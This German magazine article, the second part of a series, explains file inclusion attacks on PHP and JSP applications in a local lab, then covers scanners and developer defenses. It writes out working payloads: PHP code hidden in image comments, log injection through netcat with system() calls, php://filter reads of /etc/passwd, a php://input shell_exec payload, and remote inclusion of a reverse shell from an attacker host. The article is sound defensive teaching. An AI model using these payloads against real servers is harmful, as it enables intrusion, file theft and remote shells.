Logo von Developer

Suche
preisvergleich_weiss

Recherche in 2.167.444 Produkten

Matthias Altmann 6

File Inclusions: kleiner Programmierfehler, fatale Wirkung, Teil 2: Praxis

File Inclusions: kleiner Programmierfehler, fatale Wirkung, Teil 2: Praxis

Nach den Grundlagen zu File Inclusion im ersten Teil der Artikelserie beleuchtet der abschließende zweite Teil die Methoden, die Angreifer zum Öffnen der Lücken verwenden, und zeigt anschließend Maßnahmen, eigene Anwendungen vor File Inclusion zu schützen.

Softwareentwickler und Pentester sollten ein Verständnis für die allgemeinen Sicherheitslücken haben, die sich durch File Inclusions ergeben. Erstere lernen, wie sie Schwachstellen vermeiden können und Letztere bekommen ein Bild von den Angriffsmustern, die sich daraus ergeben.

Damit Angreifer auf den Server eines Opfers kommen, benötigen sie zunächst ein Einfallstor. Sie müssen in der Lage sein, Code in die Anwendung zu schleusen und danach auszuführen. Mögliche Wege sind Upload-Funktionen und Bilder. Sofern ein Upload-Formular nicht prüft, ob hochgeladene Dateien Code enthalten, lässt sich darüber Schadcode einbringen, wenn auf das gleiche Verzeichnis per URL zugegriffen werden kann.

Nur Bilder zum Hochladen zu erlauben, birgt dennoch eine Schwachstelle: Achtet der Server beim Bild-Upload zwar auf Magic Bytes, nicht jedoch auf die Endung des Dateinamens, führen sowohl PHP als auch JSP Kommentare innerhalb der Bytes von Bildern aus:

Zunächst erzeugen Angreifer dazu ein 1 x 1 Pixel großes Bild beispielsweise mit ImageMagick:

convert -size 1x1 xc:white white.png

Und geben schließlich folgenden Befehl für PHP ein:

convert white.png -set comment \ 
'<?php echo "RCE possible";?>' pic.php

Nach dem Hochladen läuft der Code mit

Anzeige
http://127.0.0.1:8883/lfi.php?page=uploads/pic.php.

In JSP sieht es ähnlich aus:

convert white.png -set comment \ 
'<\% out.println("RCE possible"); \%>' pic.jsp

Nach dem Hochladen folgt

http://127.0.0.1:8881/webapp/?help=pic.jsp
JSP führt den Code innerhalb der Bytes der Bilddatei aus (Abb. 10).
JSP führt den Code innerhalb der Bytes der Bilddatei aus (Abb. 10).

Neben dem üblichen Weg für LFI-Angriffe mit schreibendem Zugriff ist PHP in der Standardinstallation ohne Härtung noch für weitere Formen anfällig.

Log Injection

Da PHP auch den Code innerhalb von Textdateien ausführt, können Angreifer versuchen, eine Anfrage an den Server zu senden und danach über den Browser auf die Log-Ausgabe zugreifen und somit den Code innerhalb der Logs zu starten.

Sofern die Möglichkeit eines LFI mit lesendem Zugriff bekannt ist, können Angreifer nach dem Standardverzeichnis von Apache-Logs suchen – oder nach dem Verzeichnis der Logs innerhalb der allgemeinen Apache-Konfigurationsdatei.

Auf das Beispiel bezogen ergibt sich

/etc/apache2/sites-available/000-default.conf

und daraus

${APACHE_LOG_DIR}/access_combined.log

mit

/var/log/apache2/access_combined.log

Nun können Angreifer direkt den Server ansprechen und Inhalte in die Logs injizieren. Das HTTP-Protokoll benötigen sie dazu nicht, da es nur einen Log-Eintrag zu erzeugen gilt. Der Befehl muss komplett in einer Zeile stehen, da die Log-Erstellung zeilenweise stattfindet und der Befehl sonst abgeschnitten wird:

nc 127.0.0.1 8883
<?php system('uname -a');?>

Der Aufruf von http://127.0.0.1:8883/lfi.php?page=/var/log/apache2/access_combined.log führt den Code aus und zeigt die aktuelle Kernel-Version des Servers.

Fehlt ein Upload-Formular, aber der Server ermöglicht Log Injection, können Angreifer ein Skript über PHP erzeugen und in die URL einbinden. Damit ermöglichen sie ebenfalls das Hochladen von Dateien über den Browser. Um alles in eine Zeile zu packen, enkodieren sie den zu erstellende Code mit Base64.

Als Erstes bildet die Datei "toencode.php" den notwendigen Code:

<?php
if(isset($_POST['upload']))
{
if(move_uploaded_file($_FILES['file']['tmp_name'],
$_FILES['file']['name']))
echo '<p><b>Die Datei wurde erfolgreich hochgeladen.
<b></p>';
}
?>

<form action=""
enctype="multipart/form-data" method="post">
<input type="file" name="file">
<input type="submit" name="upload">
</form>

Der cat-Befehl erzeugt daraus einen Base64-String:

cat "toencode.php"|base64 

Netcat erledigt den Rest, und der Code ist danach in den Logs von Apache platziert. Ein Aufruf der Logs per URL zeigt an, dass ein "uploads/uploadscript.php" auf dem Webserver vorhanden ist, das sich zum Hochladen verwenden lässt:

nc 127.0.0.1 8883
<?php
fwrite(fopen('/var/www/html/uploads/uploadscript.php',
'w'),base64_decode('PD9wa...')); ?>

Angriff im Strom

Die Ein- und Ausgabe-Streams php://filter und php://input lassen sich in PHP für Angriffe missbrauchen. Die von PHP bereitgestellten Filter auf Ströme können Angreifer bösartig einsetzen und etwa den Base64-Filter folgendermaßen nutzen:

http://127.0.0.1:8883/lfi.php?\
page=php://filter/convert.base64-encode/\
resource=/etc/passwd

Sie erhalten darauf die Datei "etc/passwd" als Base64-String, den sie anschließend lediglich dekodieren müssen. Ähnlich funktioniert es über den string.to-lower-Filter:

http://127.0.0.1:8883/lfi.php?\
page=php://filter/read=string.tolower/\
resource=/etc/passwd

php://input ermöglicht es, den Request Body zu lesen und darüber Schadcode einzubringen:

telnet 127.0.0.1 8883
POST /lfi.php?page=php://input&cmd=ls HTTP/1.1
Host: localhost
Content-Length: 38

<?php echo shell_exec($_GET['cmd']);?>

Das ist der einzige der bislang vorgestellten LFI-Angriffe, der nicht funktioniert, wenn sowohl allow_url_fopen als auch allow_url_include auf off stehen. Letzteres muss on sein.

Der Königsweg RFI

Die letzte Risikoklasse betrifft die Remote File Inclusion. Dabei verlaufen die Daten den in Abbildung 11 gezeigten Weg.

Die Schritte bei der Abfrage über RFI (Abb. 11)
Die Schritte bei der Abfrage über RFI (Abb. 11)

Je nachdem, wie der Server des Angreifers konfiguriert ist, führt er den angefragten Code aus oder gibt nur Text zurück.

Entsprechend der Programmiersprache auf dem Zielserver können Angreifer steuern, wo die angefragten Daten ausgeführt werden sollen. Meistens besteht das Interesse, den Code beim Opfer zum Laufen zu bekommen und den Server zu übernehmen – also eine Shell zu erzeugen, die Zugang zum System erlaubt. Auf der anderen Seite kann aber auch ein Interesse daran bestehen, das Opfer auf eine Fake-Anwendung zu lenken, um etwa Credentials abzugreifen oder Social Engineering zu betreiben.

Wenn der Zielserver den fremden Code nicht ausführt, lässt sich schadhafter Clientcode wie Cross Site Scripting (XSS) einbinden und die Adresse beispielsweise als Phishing-Link versenden. RFI verlangt sowohl in JSP als auch in PHP eine passende Konfiguration. So müssen bei PHP die Parameter allow_url_fopen und allow_url_include den Wert on haben. In JSP wiederum ist nur der Tag c:import anfällig. Angriffsszenarien sehen in JSP folgendermaßen aus:

http://127.0.0.1:8881/webapp/?help=\
http://172.18.0.3:8080/webapp/run_on_attacker.jsp

127.18.0.3 ist die IP-Adresse des Angreiferservers im Dockernetz. Dort muss die JSP-Datei "run_on_attacker.jsp" liegen, die Schadcode enthält. Hier ist zu beachten, dass der Code auf dem Server des Angreifers ausgeführt wird, nicht beim Opfer:

<% out.println("From attacker server: 
Code execution possible"); %>

In PHP kann der Angreifer durch die Änderung der Dateinamensendung bestimmen, ob das bösartige Skript bei ihm oder beim Opfer ausgeführt wird:

http://127.0.0.1:8883/lfi.php?\
page=http://172.18.0.5/run_on_victim.txt

wobei "run_on_victim.txt" folgenden Inhalt hat:

<?php system('ls'); ?>

Alternativ kopieren Angreifer eine mit Metasploit erzeugte "reverse_shell.php" in "reverse_shell.txt", starten einen Netcat-Listener und bekommen den Zugang aufs System mit folgendem Befehl:

http://127.0.0.1:8883/lfi.php?\
page=http://172.18.0.5/reverse_shell.txt

Data-URLs

Seit der Umsetzung des Dokuments RFC 2397 in Browsern dürfen auch kleine Datenschnipsel Bestandteil der URL sein. JSP unterstützt das Protokoll nicht, PHP hingegen schon. Angreifer müssen somit nicht unbedingt einen dedizierten Server besitzen, um eine RFI durchzuführen. Mit folgender Zeile lässt sich das aktuelle Verzeichnis ausgeben:

http://127.0.0.1:8883/lfi.php?page=data:\
;base64,PD9waHAgcGFzc3RocnUoImRpciIpOyA/Pg==

Weitere Besonderheiten

In der freien Wildbahn verläuft die File Inclusion in Parametern nicht so offensichtlich und einfach wie hier beschrieben. Code kann etwa andere Dateiendungen anfügen, oder Includes erscheinen vor der endgültigen Einbindung mehrfach gefiltert und zusammengesetzt. Angreifer versuchen Filter zu umgehen, indem sie unter anderem einen bestimmten Dateinamen verwenden, eine doppelte Endung hinzufügen oder sogenannte Null Byte Injections über das Zeichen %00 durchführen. Letztere funktionieren insbesondere bei älteren PHP-Versionen, bei denen sie den String einfach an der gewünschten Stelle abschneiden. Funktioniert RFI, lässt sich das Setzen einer Dateiendung mit zusätzlichen GET-Parametern umgehen:

http://127.0.0.1:8883/lfi.php?language=\
http://172.18.0.5/reverse_shell.txt?abc=

ruft

http://172.18.0.5/reverse_shell.txt?abc=.php 

auf.

Die bislang dargestellten Lücken sind standardmäßig offen. Einzig der Parameter allow_url_include ist bei PHP zusätzlich auf on zu setzen. Eine Auflistung zusätzlicher Angriffe für PHP ist auf GitHub zu finden.

Auffinden der Lücken

Angreifer können entweder breit nach Schwachstellen suchen, was vor allem Botnetze tun. Oder sie nehmen sich gezielt eine Anwendung vor und scannen in die Tiefe, wenn sie an einem bestimmten Ziel Interesse haben.

Der Angriff in die Breite hat das Ziel, eine Vielzahl von LFI/RFI-Lücken auszuschöpfen, wie Google Dorks recht gut verbildlicht. Die komfortablen Sucheinstellungen von Google lassen sich durchaus bösartig verwendet, und Google Dorks listet diese Form der Anfragen auf. Beispiele für Suchoperatoren sind intext, inurl und intitle.

Die Chance ist relativ hoch, gefährdete Seiten zu finden, wenn Angreifer entweder wissen, wie

So können sie unter anderem folgende Suchanfragen verwenden:

Web Application Security Scanner

Eine zweite Variante ist das dedizierte Scannen. Angreifer nehmen sich eine Anwendung vor und versuchen, die Lücken darin zu finden. Auf dieselbe Weise kann ein Entwicklerteam die eigene Anwendung auf Sicherheitslücken überprüfen. Durch das Einnehmen der Sicht eines Angreifers lassen sich Sicherheitslücken finden und schließen. Einige Werkzeuge führen die Analyse automatisiert durch.

OWASP Zed Attack Proxy ist ein Scanner aus dem Open Web Application Security Project, einer Organisation, die Werkzeuge und Hilfen zur Verfügung stellt, um die Sicherheit von Webanwendungen zu erhöhen. Der Scanner steht als Proxy zwischen der Webanwendung und dem Browser gehängt. Ähnlich funktioniert der Portswigger Burp, ein Proxy als Basis für unterschiedliche Sicherheitsanalysen auf einer Anwendung.

Die nachfolgenden Scanner sind für bestimmte Einsatzszenarien ebenfalls gut geeignet, werden aber nicht mehr gepflegt. Arachni ist ein spezieller JavaScript-Scanner, der auf der Anwendung sucht, ohne sich dazwischen zu schalten. Das ist vor allem interessant, wenn es sich um Rich-Client-Applikationen handelt. Die 35m0nd142/LFISuite ist ein Open-Source-Kommandozeilentool zum interaktiven Simulieren von Angriffen. Kurobeats fimap ist ebenfalls ein Kommandozeilentool, das über Parameter arbeitet.

Die folgende Tabelle zeigt einen Vergleich der Tools auf Basis ihrer Ergebnisse gegen die Demo-PHP-Beispielanwendung:

Findings: Komplette Übergabe
- page Parameter
Findings: Mit Dateiendung
- language Parameter
OWASP ZAP 2.8.0 - LFI - Lesend
- RFI
- RFI
Portswigger Burp 2.0.24 beta - LFI - Lesend
- RFI
- RFI
Arachni 1.5.1 ruby 2.5.5p157
x86_64-linux-gnu
(`arachni http://127.0.0.1:8883/lfi.php`)
- LFI - Lesend
- RFI
- RFI
LFISuite v 1.13
(URL: http://127.0.0.1:8883/lfi.php?param=`)
param jeweils ersetzt mit language und page
- LFI - Lesend
fimap v.1.00_svn (`python2 fimap.py -u
http://127.0.0.1:8883/lfi.php?param=`)
param jeweils ersetzt mit language und page
- LFI - Lesend - LFI
Das Scan-Ergebnis vom Proxy Scanner OWASP ZAP (Abb. 12)
Das Scan-Ergebnis vom Proxy Scanner OWASP ZAP (Abb. 12)

Empfehlungen für Entwickler

Um die eigene Anwendung vor File Inclusion zu schützen, empfehlen sich mehrere Vorgehensweisen. Das Wichtigste ist, die Software immer auf dem aktuellen Stand zu halten und Patches nicht herauszögern. Am Anfang eines Projekts sollten Teams sich bewusst für oder gegen eine bestimmte Programmiersprache entscheiden. Wie zu Beginn angesprochen sind einige Techniken besonders anfällig für File-Inclusion: PHP, JSP, ASP, ASPX, CGI-Skripte und vereinzelt älteres Ruby-basiertes Rails. Neuere Frameworks sind wesentlich stärker gehärtet als alte. Insbesondere bei PHP gilt es genau hinzuschauen.

Wer die Gefahr bei Java verringern möchte, sollte auf JSP verzichten und stattdessen zu neueren Methoden greifen. Dasselbe gilt für CGI, das trotz seines Alters immer noch im Embedded-Bereich zum Einsatz kommt.

Vor dem Start lohnt es sich, spezifische Security-Metriken zu vergleichen und bewusst eine fundierte Wahl zu treffen, darunter:

Der letzte Punkt lässt sich unterteilen in Sprachaufbau und Konfigurationsmöglichkeiten. Der nächste Abschnitt erläutert dies genauer.

Sprachaufbau und Konfiguration

File-Inclusion-Lücken lassen sich programmatisch oder konfigurativ erschweren. Entwickler sollten dabei folgende Fragen stellen:

Einige Programmiersprachen ermöglichen das Nachrüsten von Security-Maßnahmen. Bei PHP ist der Suhosin-Patch nennenswert.

Darüber hinaus spielen Konfigurationsmöglichkeiten eine Rolle. Wie eingangs erwähnt können einige Flags das Risiko erhöhen oder vermindern. Zum Vermeiden von File Inclusion bietet es sich an, den Zugriff auf bestimmte Verzeichnisse wie die Unterverzeichnisse der Webanwendung zu beschränken. Auf diese Weise sind viele sensible Daten besser vor ungewolltem Zugriff geschützt. Zudem sollten Konfigurationen, die Betriebssystembefehle ausführen können, tabu sein.

Bei den Einstellungen gilt dasselbe wie bei dem Sprachaufbau. Idealerweise sind sie standardmäßig ausreichend gehärtet, und Administratoren müssen sie explizit öffnen. Eine gute Zusammenfassung für PHP ist auf der Community-Site nixCraft zu finden.

Eingebundene Software kann darüber hinaus das Aktivieren oder Deaktivieren einiger Einstellungen erfordern. Bei PHP trifft das häufig auf die RFI-kritischen allow_url_*-Settings zu. Wer die eingebundene Software benötigt, ist damit der Gefahr ausgesetzt und muss in der Entwicklung ein wachsames Auge darauf haben.

Security im Entwicklungsprozess

Um das Fehlerrisiko beim Softwareentwicklungsprozess zu mindern, helfen unter anderem Code Reviews und Pair Programming. Außerdem gibt es vier Credos in der Architektur einer Software:

  1. Den Überblick behalten: Wer genau weiß, an welchen Stellen sich Daten von außen in die Anwendung eintragen lassen, kann diese Einträge prüfen und damit das Risiko schadhafter Eingaben reduzieren.
  2. Externe Eingaben auf ein Minimum reduzieren: Wo File Inclusions unvermeidlich sind, helfen White Lists, den Überblick über bekannte Includes zu behalten und alle anderen Eingaben zu verwerfen. Aliase helfen die interne Struktur nicht transparent nach außen zu publizieren – beispielsweise mit dem Ersetzen von ?page=file1.html durch ?page=1.
  3. Upload-Möglichkeiten sollten eingeschränkt sein. Bei zwingenden Eingabeoptionen muss die Anwendung zumindest den Dateiinhalt etwa mit Magic Bytes prüfen. Eine Liste guter Prüfmöglichkeiten bietet OWASP: Unrestricted File Access, Prevention Methods.
  4. Kontinuierliches Überprüfen der Anwendung: Weitere Fehler lassen sich durch das fortlaufende Scannen mit den Methoden von Continuous Integration / Continuous Delivery (CI/CD) frühzeitig erkennen. Zum Prüfen bieten sich statische Code Analyzer an. CI/CD hat weiterhin den Vorteil, dass der Prozess zusätzlich fehlerhafte Libraries aufdecken kann, die bereits von CVEs betroffen sind (vgl. OWASP Dependency Check). Zuletzt sei erwähnt, dass regelmäßige manuelle Pentests das Risiko deutlich mindern, dass Sicherheitslücken unerkannt durchrutschen.

Selten, aber kritisch

Ein kleiner Codeschnipsel reicht, um große Lücken aufzustoßen. File-Inclusion-Lücken treten zwar in jüngster Zeit nur noch selten auf, sind aber aufgrund ihrer Tragweite im Ernstfall äußerst kritisch. Die gezeigten Beispielangriffe sollen Entwicklern Einblick in die Sicht der Angreifer geben. Mit der Kenntnis der Technik können sie sich besser vor LFI/RFI-Attacken schützen, und Pentester erkennen entsprechende Schwachstellen zielgerichtet. Die Handlungsempfehlungen zur Wahl der Programmiersprache und der passenden Konfiguration helfen dabei, das das Risiko für LFI/RFI-Schwachstellen deutlich zu verringern. (rme)

Matthias Altmann
ist Softwareentwickler und IT-Security-Experte bei der Micromata GmbH, wo er gemeinsam mit seinen Kollegen den Bereich IT-Sicherheit betreut und fortentwickelt. Er ist außerdem Mitbegründer und Organisator des IT-Security-Meetups Kassel, einem Netzwerk von IT-Security-Enthusiasten, die sich dem fachlichen Austausch zum Thema verschrieben haben.

6 Kommentare

Themen:

Anzeige
Anzeige